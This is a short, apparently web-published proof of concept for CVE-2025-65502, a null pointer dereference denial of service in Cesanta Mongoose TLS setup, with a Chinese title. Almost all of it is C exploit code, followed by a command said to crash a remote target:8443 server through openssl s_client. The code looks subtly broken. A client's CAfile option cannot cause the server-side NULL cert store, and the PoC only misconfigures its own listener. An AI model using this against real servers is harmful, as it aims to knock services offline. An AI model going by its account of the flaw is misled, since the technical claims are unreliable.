CVE-2025-65502 Cesanta Mongoose TLS初始化空指针解引用拒绝服务漏洞

// CVE-2025-65502 PoC - Null Pointer Dereference in add_ca_certs() // This PoC demonstrates triggering the NULL pointer dereference by causing // SSL_CTX_get_cert_store() to return NULL during TLS initialization #include <mongoose.h> #include <string.h> static void ev_handler(struct mg_connection *nc, int ev, void *ev_data) { switch (ev) { case MG_EV_ACCEPT: // Trigger TLS initialization with problematic cert store struct mg_tls_opts opts = { .ca = "invalid_path_to_ca_cert", // Invalid path causes initialization failure .cert = "server.crt", .key = "server.key" }; mg_tls_init(nc, &opts); break; case MG_EV_CLOSE: break; } } int main(void) { struct mg_mgr mgr; struct mg_connection *nc; mg_mgr_init(&mgr, NULL); // Listen on port 8443 with TLS enabled nc = mg_bind(&mgr, "8443", ev_handler); if (nc == NULL) { printf("Failed to bind to port\n"); return 1; } // Set TLS listening options nc->listener = 1; printf("Server started on port 8443\n"); // The vulnerability is triggered when: // 1. SSL_CTX_get_cert_store() returns NULL // 2. add_ca_certs() tries to use this NULL pointer // 3. This causes a null pointer dereference -> DoS while (1) { mg_mgr_poll(&mgr, 1000); } mg_mgr_free(&mgr); return 0; } // To trigger the vulnerability remotely: // openssl s_client -connect target:8443 -CAfile /nonexistent/path // This will cause SSL_CTX_get_cert_store() to return NULL during TLS handshake